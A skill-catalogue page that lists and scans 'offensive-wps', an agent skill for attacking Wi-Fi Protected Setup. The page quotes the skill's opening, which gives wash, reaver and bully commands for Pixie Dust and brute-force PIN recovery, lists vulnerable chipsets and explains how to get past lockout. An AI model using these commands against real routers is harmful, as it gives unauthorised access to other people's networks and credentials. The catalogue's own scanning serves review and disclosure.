Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Miosa-osa/OSA --skill offensive-wpsgit clone --depth 1 https://github.com/Miosa-osa/OSAWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-wps)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-wps"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-wps/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-wps"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-wps.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00110 | $0.01971 |
| Opus 5.5 | $0.00044 | $0.00788 |
| Sonnet 5.5 | $0.00022 | $0.00394 |
| Haiku 4.5 | $0.00011 | $0.00197 |
Grade B, and why
offensive-wps scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo wash -i wlan0mon How it starts
The opening of the file, as written. The whole thing — 207 lines — stays where its author put it; the contents beside it link to each section on GitHub.
WPS PIN Attacks
WPS converts an 8-digit PIN into the network PSK via the M3/M4 message exchange. The PIN is split into 4-digit + 3-digit halves (the 8th digit is a checksum), giving only 11,000 effective combinations — and on vulnerable chipsets, the offline Pixie Dust attack recovers the PIN in seconds without ever sending an online attempt.
Quick Workflow
- Detect WPS-enabled APs (look for the WPS IE in beacons)
- Try Pixie Dust first — offline, undetectable, instantaneous when it works
- If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)
- Online brute as last resort, slow and detectable
Detection
# wash — dedicated WPS scanner
sudo wash -i wlan0mon
# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wps
Output includes: WPS version (1.0 / 2.0), Locked status, Configured/Unconfigured, vendor.
WPS 2.0 introduced lockout enforcement, but many consumer APs still implement it as "lock for 60 seconds after 3 failures" — easily bypassed by waiting.
Pixie Dust (Offline)
The Pixie Dust attack exploits weak nonce generation in WPS-implementing chipsets. The attack captures one full WPS handshake (M1-M4) and then offline-computes the PIN.
# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
| Chipset | Vulnerable? |
|---|---|
| Ralink (RT chipsets) | Yes — most older D-Link, TP-Link, Edimax |
| Realtek (RTL8xxx) | Yes — many TRENDnet, Belkin |
| Broadcom (older firmware) | Often yes — specific model + firmware revs |
| MediaTek (specific revs) | Mixed |
| Atheros | Mostly patched |
When successful:
[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFi
The PIN gives you the PSK directly via the M7 message — no PSK cracking needed.
Online PIN Brute-Force
When Pixie Dust fails, online brute is the fallback. Send EAPOL-Start → M1 → M2 → M3 attempts with successive PINs.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 207 lines · 110 tokens per session scan B ceb6d701b07a
offensive-wps is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 110 tokens to every session and 1,971 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-14.
Other skills, from other repositories
neuroskill-bci
Use live BCI cognitive and mood state from NeuroSkill.
opentrons-integration
Official Opentrons Protocol API for OT-2 and Flex robots. Use when writing protocols specifically for Opentrons hardware with full access to Protocol API v2 features. Best for production Opentrons protocols, official API compatibility. For multi-vendor automation or broader equipment control use pylabrobot.
pylabrobot
Vendor-agnostic lab automation framework. Use when controlling multiple equipment types (Hamilton, Tecan, Opentrons, plate readers, pumps) or needing unified programming across different vendors. Best for complex workflows, multi-vendor setups, simulation. For Opentrons-only protocols with official API…
openhue
Control Philips Hue lights, rooms, and scenes via the OpenHue CLI. Turn lights on/off, adjust brightness, color, color temperature, and activate scenes.
eightctl
Control Eight Sleep pods (status, temperature, alarms, schedules).
gap
Program robots with GaP (graph-as-policy) — compile natural-language tasks into typed, verified robot skill graphs and run them on simulators or real robots. Use when the user mentions GaP or graph-as-policy, robot manipulation, robot skills, robot tools or capabilities, skill registries, open-robot-skills, LIBERO or…